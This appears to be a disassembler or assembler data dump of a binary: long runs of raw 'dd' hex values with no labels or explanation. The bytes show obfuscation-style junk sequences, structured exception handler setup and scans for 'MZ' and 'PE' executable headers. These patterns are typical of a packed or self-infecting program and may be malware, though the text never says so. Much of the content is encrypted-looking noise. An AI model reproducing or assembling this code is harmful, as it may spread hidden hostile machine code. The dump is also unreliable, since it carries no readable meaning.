41D8CF81h dd 3D95FF5Bh, 0E9060721h, 138h, 65B3BA60h, 12E93821h, 4C000000h dd 9FB55104h, 0C2734CC2h, 469A69D8h, 0B46FF5C9h, 0B06116h dd 0AC19D0Bh, 0BD8B0607h, 6071809h, 0BD8B70E6h, 607118Dh dd 9D8971E4h, 60703C1h, 830F613Ch, 0F4h, 0D3EF8166h, 0F19D8B3Dh dd 0F060701h, 0BD33C8B6h, 6072D75h, 6BAh, 0C8A0F00h, 0F000000h dd 680h, 0AD958900h, 8B060718h, 68D0FC1h, 89000000h, 72CE1B5h dd 4E8C106h, 1C1D8D29h, 0F7660607h, 0FDBD8BE2h, 2B06070Bh dd 898D89C8h, 60060713h, 3C9B523h, 9D230607h, 6071FF1h dd 89D18B61h, 732DDBDh, 86E906h, 0DD8A0000h, 554C858Bh dd 8E94947h, 0AB000000h, 38CC6F5Dh, 83295445h, 6E807C0h dd 2F000000h, 598889ABh, 28A0FACh, 51000000h, 0C0835F5Fh dd 76D78100h, 3B6BCE9Eh, 0E830FD0h, 0B7000000h, 42E92Ah dd 95890000h, 60705EDh, 0FF8D8BF9h, 29FFFFFFh, 709E59Dh dd 0E183FC06h, 25840F01h, 66000000h, 83252DBFh, 0FFFFFFA5h dd 850FFEFFh, 3, 89FEBF0Fh, 47554C95h, 0B59D8B49h, 0E9060704h dd 0 dd 97F7B58Dh, 6A060Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 170424h, 52420000h, 4DE441C3h, 81006A3Ch, 0AED63CE7h dd 6995FF6Dh, 8106071Bh, 9178CFF7h, 0FEAB97Ah, 830F0000h dd 19h, 14E9h, 127CD800h, 5A203C3Fh, 0C7E6A2Fh, 0AC5C97A4h dd 860064E0h, 0FCE1831Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 0E4C35242h, 9BB32C96h, 0D381D2EBh, 392C6BA0h dd 0D8B70FFCh, 6AC02Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1B0424h, 55450000h, 788E17C3h, 0F102E9BEh, 0F9D88A09h dd 6AD22Bh, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 98A38C3h, 71E5DBDh, 0C233AD06h, 0D003E8D1h dd 7504E983h, 1D9D8BF4h, 89060715h, 730418Dh, 0D8BF6606h dd 880D08h, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1D0424h, 51410000h, 742186C3h, 0D08DA858h, 0FEBC1B9h dd 958BF9BFh, 6070A01h, 850929B3h, 6070601h, 14A58D8Bh dd 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 8937BFC3h, 7197985h, 0C28B5006h, 0C103188Bh dd 0C18B188Bh, 0C203E8D1h, 6A58188Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 16042444h, 45000000h, 2B14C355h dd 0AE8EEh, 8B1A0000h, 0A516DD59h, 78C25358h, 0E614EF81h dd 895B129Ah, 7009595h, 0F9BD8306h, 6072Fh, 7D840Fh, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1B0424h, 56460000h dd 0DFAE80C3h, 2878487Ah, 8D9589DBh, 0B8060705h, 0 dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 1CC35141h dd 28D0Fh, 0DF8B0000h, 4B4A8D8Dh, 6A0607h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0F529C5C3h dd 0FFF791CFh, 8393B7E1h, 72FD5BDh, 840F0006h, 3F1h, 262470BFh dd 0D5BD8337h, 106072Fh, 3FA840Fh, 50BF0000h, 8316A5D6h dd 72FD5BDh, 860F0306h, 3B2h, 6A608EB3h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 18042444h, 40000000h, 0A15AC350h dd 89A7A8D2h, 7190DB5h, 0D98C6606h, 80FFB70Fh, 6A04E1h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 1ECF5CC3h, 0C90AF7B4h, 113840Fh, 0B5890000h, 6071E25h dd 0EF1858Bh, 6A0607h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 952189C3h, 77C2A0B2h, 0D88B4C46h dd 15698533h, 0BD230607h, 6070D01h, 89DC8A50h, 8A0F2404h dd 8, 800F53h, 5B000000h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 170424h, 53430000h, 0FB4977C3h, 0B4BB6612h dd 0FA8B6682h, 455AC4BFh, 4B85687Fh, 5753FF53h, 6802BF66h dd 4815F5Bh, 0CBB87A24h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 6052C38Bh, 0F9BCB9F8h dd 0FF61042Fh, 7056195h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1B04h, 0C3524200h, 0AA05E64Ch, 0DFBB4B74h dd 32DD9D8Bh, 8C0F0607h, 8, 0E1BD8960h, 6106070Ch, 0A2918589h dd 0BD8B060Ah, 6070B99h, 1E7E9h, 6800F00h, 81000000h, 0C49752CBh dd 89858B55h, 0F5060AA2h, 1800C7h, 6A0000h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 0D82538C3h dd 29B39882h, 0A28DB58Bh, 0B501060Ah, 6072059h, 1C7D858Bh dd 6A0607h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h dd 57470000h, 50FD94C3h, 321CBB66h, 6A0689h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0E4979CC3h dd 0E931CB4Bh, 10h, 4C389DA2h, 527D00C1h, 5F4903BEh, 36F67511h dd 0EF1858Bh, 6A0607h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 190424h, 55450000h, 289608C3h, 8B799179h, 44689D8h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 0EBC35343h dd 0B5891037h, 6071689h, 50D98B96h, 1EE2BB66h, 419D8B96h dd 0FF060731h, 0AA289B5h, 8B665306h, 4E85FDFh, 0FF000000h dd 66001F03h, 50FE34BFh, 424448Bh, 0E9F08A60h, 8, 0A8AC643Ch dd 907A57F1h, 0E8008B61h, 0Ah, 0F0E90CB9h, 3775A810h, 890FA5EAh dd 4, 6E12BF66h, 2444895Bh, 58F88B04h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Dh, 0D4C35141h, 5AD506A7h, 0DE84F9C2h dd 0F3816608h, 858D2D0Eh, 60AA291h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ch, 90C35343h, 0C6A86B17h, 81F5239Eh dd 469BD0Bh, 50500607h, 0FF88B52h, 0FE831h, 0D6FD0000h dd 0AED3A5B3h, 0FD1B6BE8h, 796415Dh, 0D88B6666h, 89585A5Fh dd 85292404h, 6071B6Dh, 56195FFh, 9D290607h, 6070B99h dd 0FA8B6661h, 2FD585C7h, 30607h, 0BD890000h, 6070BA5h dd 14E9h, 0FD93DA00h, 51BFFF05h, 0E6E17FFEh, 5DA4A2C0h dd 2F299FA2h, 91BD8303h, 60AA2h, 30840Fh, 52BB0000h, 891B4386h dd 715DDB5h, 3BE906h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 180424h, 57470000h, 34100CC3h, 3050B346h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h dd 3116400h, 4E98358h, 1BEBE775h, 10E8C150h, 3116428h dd 2114430h, 11642858h, 11043001h, 7504E983h, 8B00EBE7h dd 50006AC0h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1C04h dd 0C3504000h, 40C18CBFh, 0A14BEAE5h, 0DE86011h, 80000000h dd 0D479C5ADh, 0A0AC1CBFh, 372C1A7Ch, 23F98509h, 8B590607h dd 0BD8361FBh, 6072FD5h, 4850F03h, 6A000003h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0B09AC355h, 5F867350h, 93F87734h, 0A291BD83h, 0F00060Ah dd 2D284h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 9067E24h, 714D985h, 91B5FF06h, 0E9060AA2h dd 5, 8263CE48h, 4195FF81h, 9060716h, 70A559Dh, 85B58B06h dd 0B060AA2h, 71235BDh, 106C706h, 6A000100h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 9E6CC356h, 54EB4589h, 1A5D9D8Bh, 0F960607h, 384h, 0F98B6600h dd 85899650h, 6071AA9h, 0A291B5FFh, 0BD29060Ah, 6071995h dd 1DE195FFh, 6A0607h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 160424h, 52420000h, 5BEAD5C3h, 38E0Fh, 0B70F0000h, 199D8BFEh dd 8B060721h, 0AA285B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 0B0039711h, 6023DB03h dd 0DEB70F56h, 0A5858B5Bh, 8B060720h, 0C48689DAh, 0F5000000h dd 0F89B531h, 958B0607h, 6070A01h, 6800Fh, 95010000h, 6070645h dd 8904C283h, 70EC98Dh, 20508906h, 8E9h, 5269C000h, 99264FF2h dd 0BC858D7Bh, 6A060AB5h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 18042444h, 47000000h, 5CF8C357h, 66D1BF7Fh dd 8689D98Bh, 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0F2C35242h, 0D298589h, 81660607h, 6A270BC7h dd 0B5FFF800h, 60AA291h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 18h, 54C35646h, 9ED355F0h, 5C5BD8Bh, 8B660607h dd 8595FFFAh, 6A060702h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1A042444h, 47000000h, 8355C357h, 0F40E79DFh dd 0F50F51Eh, 1A8Eh, 11E800h, 2F7F0000h, 288F2539h, 0CC8B7F08h dd 510994h, 66186C6Dh, 895FDF8Bh, 30B72434h, 0A291B5FFh dd 9D8B060Ah, 6070AC5h, 115595FFh, 0DE8B0607h, 6DDBD83h dd 0F000607h, 4884h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1904h, 0C3534300h, 0E3FA831Ah, 0EB81E43Ch dd 0DDD9989h, 7E9h, 7F73D700h, 0B660770Ch, 8B525050h, 66310FFEh dd 585AF98Bh, 8B243489h, 70D319Dh, 91B5FF06h, 0F9060AA2h dd 1BF195FFh, 5F570607h, 0A291B5FFh, 8589060Ah, 607164Dh dd 1AF595FFh, 50600607h, 118D895Eh, 6106071Ch, 19F5BD83h dd 0F020607h, 1284h, 0D98B6600h, 1A29858Bh, 95010607h dd 6071BC9h, 0C70000C6h, 70D0985h, 6, 0D9D8B00h, 0E906071Ah dd 0FFFFF4EAh, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 1Bh, 0F0C35545h, 0C7359352h, 3353C812h dd 7293DBDh, 6AC18B06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 16042444h, 43000000h, 3286C353h, 0BD9D8905h dd 0BA06071Dh, 0F00E0000h, 0EA81h, 0C283F000h, 81958914h dd 8306071Ah, 858D14EAh, 60C23C8h, 35FF6450h, 0 dd 258964h, 0E8000000h, 0 db 'X+Â%',0 db 0F0h, 2 dup(0FFh) dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h dd 0F000045h, 0A84h, 10002D00h, 0D9E90000h, 8BFFFFFFh dd 6D8589C8h, 3060716h, 0B70F3C40h, 95890650h, 6070DC5h dd 8950508Bh, 7327595h, 0F80506h, 508B0000h, 89D1030Ch dd 7068D95h, 8500306h, 180D9589h, 8F640607h, 5, 4C48300h dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h dd 129BD83h, 0F000607h, 2484h, 2585C600h, 47060715h, 9AA7D268h dd 0BDB5FFD4h, 8D06071Ch, 0A70F485h, 6AD0FF06h, 89D0FF00h dd 7006185h, 0E8D38B06h, 0Ch, 62C3DBE3h, 75C9C66Dh, 6E20D09Eh dd 8E9h, 0E399FE00h, 74666BE5h, 0B8665BE7h, 0C381FCD7h dd 63C7h, 0BE9h, 98305400h, 7927340Fh, 0F1C57586h, 7E8F633h dd 0E2000000h, 0D194B4E5h, 0FF58C397h, 11E81E34h, 31000000h dd 7075E3E9h, 0D445B81Ah, 2B10C97Bh, 8358353Ah, 5AB9C680h dd 0AE85Fh, 4BD40000h, 19F5ABDBh, 0D2CC493Eh, 5AC88B66h dd 85BF781h, 0C781795Fh, 75AE254Fh, 14E9h, 7A594E00h, 0D3C22402h dd 2A0018DDh, 5827ED12h, 0A84972E5h, 69EF8184h, 517BD0AFh dd 4AF18166h, 8B575AC0h, 33048FD7h, 0CCA8166h, 0C0D4803Bh dd 6604EE83h, 1B7BC881h, 9D00FE81h, 850FFFFFh, 0FFFFFF7Bh dd 8DC3BF0Fh, 0C25588Dh, 89DA8A06h, 70A018Dh, 51006A06h dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0B1885141h, 0F79B8F2Eh, 0EDBD8BF6h, 0C7060700h, 714A585h dd 647C06h, 0C75E5700h, 72FD585h, 6, 9D8B6000h, 6072F85h dd 4DB5FF61h, 0B4060705h, 1995FFF1h, 0E906071Ch, 0Ah, 7B1D8EE2h dd 515947D0h, 6A5F30h, 1B6995FFh, 0C08B0607h, 6444BEBh dd 9952C624h, 2E95F5CFh, 8AFB16Bh, 7A61EDFCh, 0D4B4A57Ah dd 0F7A88248h, 311894DDh, 0B9D6D36Dh, 945FA69Fh, 9124A712h dd 0A6C2E97Eh, 0B09DAA44h, 0D2DECE9Dh, 87CD064Fh, 19471055h dd 3D3AE378h, 84AD59BBh, 6ECCA542h, 278D8D94h, 6A060C26h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 15042444h dd 45000000h, 5CFC355h, 0A018D89h, 0CFB70607h, 14A585C7h dd 5F400607h, 85C70000h, 6072FD5h, 0 dd 53AFCA81h, 0B5FF49A2h, 607128Dh, 0FF31E680h, 71C1995h dd 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 8BDD38F4h, 70A3DB5h, 0FF006A06h, 71B6995h dd 0EBC08B06h, 9771CA0Eh, 0E95D563h, 0B1408D98h, 0DEA2B796h dd 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h dd 0F1982633h, 0EF5E265Ah, 339F3316h, 0FFB44E60h, 0F867A5E4h dd 0A09F3A8Eh, 236CA3BEh, 79672039h, 0D7ADA3BAh, 0D71B2034h dd 339F271Ah, 831D2933h, 0C0982633h, 0AABE6CB6h, 0D6157635h dd 0AF94000Fh, 0E10DD963h, 839E2130h, 35982664h, 1F152359h dd 4B94007Fh, 9A1DAB63h, 39E2A15h, 0BA99B3CCh, 14932034h dd 6AA1A23Ch, 0B0152633h, 9C94007Fh, 4DAACE63h, 0F6D82633h dd 75CAA3BEh, 24C8203Fh, 0D8BE6AB6h, 0FF677635h, 339F292Eh dd 1794E2B0h, 41BE6AB6h, 23157635h, 5594000Fh, 9C0DD963h dd 3D9E2130h, 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh dd 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h dd 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h dd 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch dd 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h dd 0A8517F6Ch, 88152637h, 9C940009h, 6AF7ABBEh, 9320203Fh dd 78000000h, 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh dd 0B58DFFFFh, 60C276Fh, 278E8D8Dh, 0CF2B060Ch, 8B05E983h dd 868D8DC8h, 6A060C28h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 14042444h, 47000000h, 8BFBC357h, 7163585h dd 18D8906h, 6A06070Ah, 3E85000h, 20000000h, 8958C358h dd 81042444h, 1C042444h, 40000000h, 0CF1EC350h, 0B7E5F720h dd 89BE31ABh, 709F1BDh, 0A585C706h, 84060714h, 0F000074h dd 85C7F0BFh, 6072FD5h, 0 dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A3C35545h dd 352C4032h, 36BF663Ah, 2DB5FF08h, 6A060731h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 0F40C357h, 48Ch, 5BB86600h, 1995FF44h, 6A06071Ch, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h dd 0E8C8C357h, 417438F5h, 95312DCFh, 6071E1Dh, 95FF006Ah dd 6071B69h, 49EBC08Bh, 15E23225h, 7C867EA4h, 0AC5FAE00h dd 0D8A6CE15h, 5A00E84Dh, 3816E60Fh, 0DF1DE1Fh, 0BA4119EEh dd 3CAE9F31h, 6BA3DE01h, 23D92754h, 0A6AADF5Eh, 2228593Ch dd 0CF10AD2Dh, 9382B582h, 77FC6A65h, 51043D0h, 0E8BE6954h dd 918D8D9Bh, 0B7060C29h, 18D8912h, 6A06070Ah, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1B042444h, 43000000h dd 4DCBC353h, 203DB149h, 8D890355h, 6072CD1h, 14A585C7h dd 58800607h, 0BB660000h, 8166ED8Fh, 0C7DC47E6h, 72FD585h dd 6, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1604h, 0C3574700h, 0E9268481h, 9, 0C0EFEA21h, 0CD7F3A15h dd 0DDB5FF66h, 6A06070Ch, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1A042444h, 42000000h, 241AC352h, 5CB8DB5Ah dd 3595293Fh, 0FF060728h, 71C1995h, 6AFA8B06h, 6995FF00h dd 8B06071Bh, 1F48EBC0h, 676AFE42h, 0B50980A4h, 0B13792C7h dd 293870C3h, 0B920B102h, 0F6A116F1h, 0FA7C00BAh, 5A068206h dd 2D019D95h, 0CAA85FCAh, 63017B4Ch, 6BA9A09Fh, 335E70Ah dd 9B7B9E0Eh, 13B3C4D3h, 2BE4316h, 0EBE82EC0h, 0E8076329h dd 8, 83C4231Fh, 7A625EFCh, 1A699D89h, 0E9580607h, 10h dd 0F0450C55h, 0F4DCB5FCh, 4914D6E4h, 11C6054Ah, 5E23C081h dd 8D890000h, 60711E9h, 0BBh, 518D8900h, 8B060732h, 0F6811814h dd 193146A5h, 0BE28EA81h, 860F005Bh, 5, 38EF8166h, 58F2811Ah dd 81525AE9h, 513D7CC2h, 2952F95Eh, 70BD99Dh, 18048F06h dd 3850Fh, 0BF0F0000h, 0BD8B50F1h, 6070AE9h, 4EB835Eh dd 11998D8Bh, 0FB810607h, 0FFFFA2A8h, 22850Fh, 0E9600000h dd 11h, 53277EA7h, 53B5FD83h, 5CF494A9h, 0AF3B2ADBh, 20E96172h dd 0DA000000h, 0DE476F9Eh, 80E95BB1h, 0B4FFFFFFh, 855624D6h dd 3886B28Bh, 0EEF56EEFh, 0F12AA9D1h, 0E803BFA1h, 11h dd 66C498DFh, 0ADEB7C1Fh, 59BDAECEh, 54C7874Fh, 75B58BA3h dd 5B060729h, 629BD89h, 0C3810607h, 7239h, 9E8FF2Bh, 0C5000000h dd 1DCF310Ah, 4FF78A32h, 5558D8Bh, 8B5E0607h, 81F93B04h dd 9D6D61C0h, 81CA8B65h, 3B0AB6C0h, 0EA81667Dh, 0C081B56Ch dd 69DCC853h, 2860Fh, 0D78B0000h, 893B0489h, 7293585h dd 68C0F06h, 81000000h, 5EFF7BC1h, 4EF830Ah, 70FF81FCh dd 0FFFFF8Eh, 1085h, 0D1816600h, 1EE9F86Fh, 68000000h dd 0AC26B8F5h, 0E91EB2F2h, 0FFFFFF9Fh, 8B80163Eh, 0E47FDBEFh dd 2FD0B3B3h, 64669B00h, 8E83Eh, 5FA70000h, 71BDD6AFh dd 8166E060h, 5F1C12F3h, 2D7D8D89h, 0C7810607h, 6BADh dd 1EB9DA8Ah, 812A8A2Ch, 75EEAFC1h, 0D78B66D5h, 958B078Bh dd 6070125h, 90E9F081h, 8B662269h, 6CC081D7h, 57363038h dd 14F0815Bh, 66355EE9h, 0D6F7C281h, 419D8B50h, 8F060721h dd 52EF8007h, 0B7FCEF81h, 9589178Eh, 6071229h, 0B7F8C781h dd 45B6178Eh, 0F01E983h, 0FFFFB385h, 18529FFh, 6C060724h dd 1AC64C0Eh, 0C3B8D720h, 8133D7CFh, 0A147C927h, 37CB4B24h dd 30335B28h, 4268D127h, 8FEB5A41h, 131C09Ah, 0A46D121h dd 8C566CA4h, 0B433D720h, 0EB60813Eh, 343069E7h, 9DBAD127h dd 0A34E10Ah, 0AC9B4CAAh, 0D0CCD72Eh, 3CB0897Ch, 0C634DC42h dd 3024A527h, 34306974h, 9DBAD127h, 0A34E10Ah, 0A1A44CAAh dd 0D0CCD72Eh, 8159897Ch, 0C0303971h, 3E13D127h, 44BA8FE4h dd 5CB2D503h, 0C26D503h, 5075D127h, 0EBF365E4h, 8133D120h dd 0B9EBA33Dh, 0EBF89F46h, 305988EDh, 18303977h, 5413D127h dd 42BA89E4h, 47B2D503h, 8128D503h, 9073D127h, 0F8695AE4h dd 7165D91Eh, 99F35AFEh, 0DDBD1DC5h, 0EAE05014h, 65371C75h dd 7AB809ABh, 443CD58Fh, 6033D24Fh, 6EAD6E41h, 0BECA1BA6h dd 0B1B09E17h, 34C696h, 1AB7DE27h, 6833D127h, 0C033D129h dd 0A17E827Eh, 53DE4710h, 0F51EC8Ch, 35DA0C6Ah, 0FE33D124h dd 314D199h, 3F55B125h, 45BA4C41h, 6634F036h, 0F7B65C46h dd 0F135DBAEh, 0C33D137h, 3E00E021h, 3CBC23B5h, 3DF2E1B4h dd 3895A2Ah, 63FA4C0Ch, 0E0CCD720h, 0F065D14Dh, 0C33D124h dd 58F08F07h, 717A5AEh, 851795A6h, 0C033D13Dh, 0A6F08761h dd 5447BCFFh, 0A5B88543h, 0A34DD9Eh, 823C11A2h, 333D18Fh dd 6962D14Dh, 0C033D124h, 39F08807h, 34179DAEh, 1C1795A6h dd 0C33D13Fh, 77F08066h, 0B37061E4h, 0B9B22D94h, 3BB2B770h dd 60245428h, 0B5BAD127h, 1E34DAFAh, 84B5041h, 823CD325h dd 333D3FBh, 29A43C9Dh, 0F8B2B771h, 0E53CB1BBh, 3033D17Fh dd 0F065D14Dh, 0C33D124h, 58F08F07h, 717A5AEh, 851795A6h dd 0C033D132h, 0EAF08761h, 3035382Fh, 0B7CDD127h, 0B0A62218h dd 0EE31A9A7h, 3155428h, 0A55D127h, 0B8B2B7F4h, 6F98D121h dd 3033C6A2h, 91CD5A27h, 0B133CB2h, 44D3821h, 6DAD127h dd 5C33D127h, 0D7EFCFC0h, 6132D199h, 0F7B65C61h, 9135DBAEh dd 0B0390A2h, 6CE32E21h, 0DB8227h, 0A133D127h, 4968127Ch dd 0E137F57Bh, 2B37F563h, 5B33D127h, 44D11274h, 2DD7A657h dd 86BA4679h, 8734C9CEh, 443C11A2h, 6033D0CFh, 30355B28h dd 0AD02D127h, 0A34C16Ah, 3B55E9A6h, 863CD325h, 8133D133h dd 0B8B228ACh, 3F0EB721h, 39B7DE5Dh, 7E33D125h, 9ABE13A6h dd 9A0B5041h, 8FB6DE47h, 0A33D127h, 0C702F8BAh, 2DB65821h dd 0B035D616h, 17DBD35Fh, 0C33A7A2h, 7FBE5A27h, 6535D630h dd 8135A9A6h, 0A4B6DEE7h, 0A33D127h, 33DB8027h, 3833D127h dd 856A127Eh, 8737F56Bh, 1837F563h, 0C033D127h, 0F0A01276h dd 0EB3E6DE6h, 0ADBA129Dh, 1E34CB4Eh, 0C3272CEh, 5333BB27h dd 333D2CFh, 426EF127h, 0E45F587Ah, 44775023h, 3033CB23h dd 0DB669427h, 4DE09773h, 66D4C68Bh, 0A1B816A6h, 1CBACA1Eh dd 0C634D01Eh, 6DAE5A46h, 8E35D60Ah, 6632D027h, 0C3B3947h dd 9A63D127h, 67799F59h, 0DB6156C5h, 0C7DBB17Dh, 3633D127h dd 88A6D67Ch, 176B7FE1h, 0C33D1AEh, 8B52B027h, 9BA16A2h dd 0B8B6D821h, 3F35D626h, 0A4DF6AF7h, 0DDB3C7D0h, 17F3548Dh dd 0C330AA3h, 5433BB27h, 333D2CFh, 4269F127h, 0E467587Dh dd 44775023h, 3033CD23h, 0DB619327h, 332BE2Fh, 99F58A80h dd 42BE5ACAh, 0A835D626h, 0C71E7CA2h, 880B5121h, 306C5428h dd 0D2B2D127h, 62CC53F4h, 7536A9A7h, 37C5428h, 8ADAD127h dd 0A033D127h, 0BFFA71D8h, 953E2F48h, 60B3A26Ah, 883C8220h dd 633D1E7h, 0EB66D14Dh, 8133D124h, 9DF08C07h, 6417BDAEh dd 341795A6h, 1833D133h, 53F08462h, 633C5CEh, 9129F327h dd 0AD11F0CBh, 0EF33338h, 90C5F6CCh, 201B36E0h, 20B2B717h dd 893CD4A8h, 633D11Fh, 111E64AEh, 0F9B3D720h, 453CB921h dd 6033D10Fh, 164E4CACh dd 9955D720h, 29CCDA5Fh, 6255428h, 8E3CD127h, 8133D121h dd 0CF4E4C26h, 0ACB9D720h, 30339ACEh, 87E05127h, 0C33D19Fh dd 6203827h, 0AE9DD127h, 0A030C7F4h, 785FDCE8h, 8F5BBA70h dd 330950F9h, 180238C2h, 0C59D127h, 6303971h, 5D13D127h dd 0F5BA8FE4h, 84B2D503h, 602AD503h, 6675D127h, 5310E5E4h dd 0B3C3FF3Fh, 3C88F06Eh, 333D09Fh, 78BE5A27h, 9035D63Dh dd 27E3449Eh, 1437582Ch, 0A5BE6B92h, 0A3FFAC1h, 36AE5CAAh dd 208BD72Bh, 8244B772h, 0C73078A2h, 8EFCFA21h, 6632D027h dd 0C3B3947h, 9A63D127h, 67799F59h, 0DB6156C5h, 0C7DBB17Dh dd 0E983D127h, 58A4F305h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 14h, 0FBC35242h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0AAC35545h, 56434282h, 5F06B251h dd 0FC00B5Fh, 3F84h, 5DBD2300h, 8D060717h, 74B4AB5h, 13E96006h dd 49000000h, 0D84DC8DCh, 585901Ah, 781C4BB7h, 0CE1F288Ch dd 0CB819FC8h, 4D1937A8h, 3B861h, 8D2B0000h, 6070C2Dh dd 9589E6FFh, 6072F69h, 0F88B6640h, 0CE9h, 460AE800h, 0D5C0AFB9h dd 0FDC3EC74h, 6AC08B75h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1A042444h, 43000000h, 0FF0EC353h, 7FF2A20Eh dd 0C1BD8975h, 8306072Eh, 70211BDh, 9750006h, 0D65BD83h dd 74000607h, 8B535019h, 403B8C0h, 85890000h, 60723A9h dd 0AB0F9D8Dh, 0D3FF0609h, 0BD83585Bh, 6070D65h, 50177400h dd 403B853h, 85890000h, 60723A9h, 0A7B09D8Dh, 0D3FF0609h dd 0E580585Bh, 8BCF8BE8h, 727F58Dh, 2BC08B06h, 7165D9Dh dd 58206106h, 31C85433h, 12100133h, 0BB55C26Eh, 0B300255Fh dd 27062577h, 77010133h, 0BB87C266h, 3F419CB8h, 0BE460734h dd 63106BEBh, 320802DBh, 0F15D2133h, 164E886Ah, 16458037h dd 32801737h, 0F1114033h, 0BB7F4F7Eh, 353D28B6h, 3D0CA935h dd 320676B7h, 63026B33h, 320102DBh, 0F1D92133h, 160C886Ah dd 16648037h, 32101B37h, 0F1594033h, 0E3AC0D91h, 0B16E51F0h dd 3516B08Eh, 0B68F0135h, 3240010Fh, 0DA750159h, 32100130h dd 6FCB5C13h, 36206DBAh, 362645B2h, 32010126h, 0B0435476h dd 4BD58836h, 0DB26061Fh, 32100313h, 320809DBh, 81CBA633h dd 943D3DFFh, 579C88CCh, 6886061Ch, 16448863h, 1D49E6B2h dd 331F486Dh, 58F6257Fh, 31EC5733h, 12020133h, 0BB5FC26Dh dd 0B3842547h, 2A442577h, 74200133h, 5EAAC265h, 3DA1258Ch dd 320407BAh, 8BB73233h, 0B9070628h, 35B0A0A6h, 322A5935h dd 3223E960h, 69300133h, 6E815AF0h, 76850517h, 321B0517h dd 61420133h, 0C6A9A3F0h, 54AC4020h, 0B154FE8Dh, 327A2DF3h dd 320BE963h, 6A240133h, 768B59F0h, 76800517h, 329D0517h dd 62000133h, 0E0CB9AF0h, 0C6A5A589h, 0B937936Ch, 3A830E3Bh dd 62020133h, 1B60BCB8h, 54DA0734h, 58BC49B8h, 31C85633h dd 12100133h, 0BB57C26Ch, 0B300254Fh, 2A062577h, 75010133h dd 0A74EC264h, 0BB04379Ah, 3539FC86h, 0B916735h, 0B607FE05h dd 32040194h, 3BC382C6h, 13B4BC1Ah, 0B000734h, 17C50EDAh dd 58200132h, 31F85633h, 12080133h, 0BB5BC26Ch, 0B306254Fh dd 29052577h, 75800133h, 0F430C264h, 0E3462FA5h, 0AF237962h dd 340F1BDEh, 540540B8h, 31152A89h, 61016BFBh, 328002DBh dd 0F11B2133h, 167C8868h, 16548037h, 32081A37h, 0F1574233h dd 554A9E88h, 7AD73161h, 8F0BFAB8h, 34470EA2h, 0B925C0B0h dd 3530B4A6h, 0A2318035h, 3D8F4278h, 